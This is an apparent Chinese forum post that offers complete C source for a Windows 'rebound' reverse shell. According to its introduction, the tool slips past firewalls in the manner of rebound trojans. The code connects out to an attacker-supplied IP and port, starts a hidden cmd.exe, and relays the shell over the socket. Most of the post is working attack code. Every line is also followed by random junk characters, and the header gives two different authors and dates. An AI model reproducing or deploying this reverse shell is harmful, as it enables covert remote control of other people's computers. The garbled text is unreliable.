这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 E?@m?@*/
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/* ============================== Ho]su?
Rebound port in Windows NT iURe( [@
By wind,2006/7 6S{l'!s'
===============================*/ |':{lH6+1
#include qg$ <oL@~~
#include |vC~HJpuv'
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#pragma comment(lib,"wsock32.lib") 'c~4+o4co
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void OutputShell(); H,NF;QPPC
SOCKET sClient; .]K%G\*`:
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; QsW/X0YBv
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void main(int argc,char **argv) y)<q/
{ (tO\)aS=
WSADATA stWsaData; phz&zlD
int nRet; &e3.:[~_?
SOCKADDR_IN stSaiClient,stSaiServer; _VXN#@y
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if(argc != 3) I`#JwMU;m
{ o !7va"
printf("Useage:\n\rRebound DestIP DestPort\n"); }K9H^H@r!
return; t`QENXA}
} *z2s$EZ
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WSAStartup(MAKEWORD(2,2),&stWsaData); P93@;{c(
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Mb=" Te>|
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stSaiClient.sin_family = AF_INET; `$NP>%J-
stSaiClient.sin_port = htons(0); fc@A0Hf
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); j+YJbL v
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?X;RLpEc|A
{ B/C,.?Or
printf("Bind Socket Failed!\n"); nRY5xRvK
return; 2T`!v
} y?#
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stSaiServer.sin_family = AF_INET; Ap !lQ>p
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); l;V173W=&
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); |cY`x(?yP
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) %>s|j'{
{ mA} "a<0
printf("Connect Error!"); A)KZa"EX
return; |7Kbpj
} B-ESFATc
OutputShell(); xLn%hxm?,
} 9>$p
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void OutputShell() B1Oq!k
{ 'ig'cRD6N
char szBuff[1024]; CQ2jP
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SECURITY_ATTRIBUTES stSecurityAttributes; YoE3<[KD(
OSVERSIONINFO stOsversionInfo; -.3w^D"l
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; F5#YOck&,
STARTUPINFO stStartupInfo; 5(8@%6>ruj
char *szShell; ~_ a-E
PROCESS_INFORMATION stProcessInformation; 2BobH_H
unsigned long lBytesRead; FgI3
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); bN88ua}k{
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); :i7;w%B
stSecurityAttributes.lpSecurityDescriptor = 0; 9C i-v/M]
stSecurityAttributes.bInheritHandle = TRUE; c"xK`%e
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 8i,K~Bu=
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); %K
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Xx(T">]vJ
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .[ mRM
stStartupInfo.wShowWindow = SW_HIDE; V1JIht>Opo
stStartupInfo.hStdInput = hReadPipe; ]s748+
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; .x1NWGDn
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GetVersionEx(&stOsversionInfo); #o2[hibq
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switch(stOsversionInfo.dwPlatformId) ZAf7Tz\U
{ 6`-jPR
case 1: E.>4C[O
szShell = "command.com"; i 3SHg\~Z
break; ctJE+1#PH
default: !g.?
szShell = "cmd.exe"; _-F s#f8
break; VD\=`r)nT
} b_):MQ1{
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); FsryEHz
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send(sClient,szMsg,77,0); j8`BdKg
while(1) :,I:usW"
{ :a)u&g@G
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); {qMIGwu
if(lBytesRead) 1!gbTeVlY
{ <"|,"hA
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); IaXeRq?<
send(sClient,szBuff,lBytesRead,0); N.{D$"
} &8 x-o,
else 6K<K
{ O0y_Lm\
lBytesRead=recv(sClient,szBuff,1024,0); U b!(H^zu
if(lBytesRead<=0) break; "w.3Q96r
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); tNX|U:Y*
} (=@h23
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} #ucBo<[
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return; A$:U'ZG_
}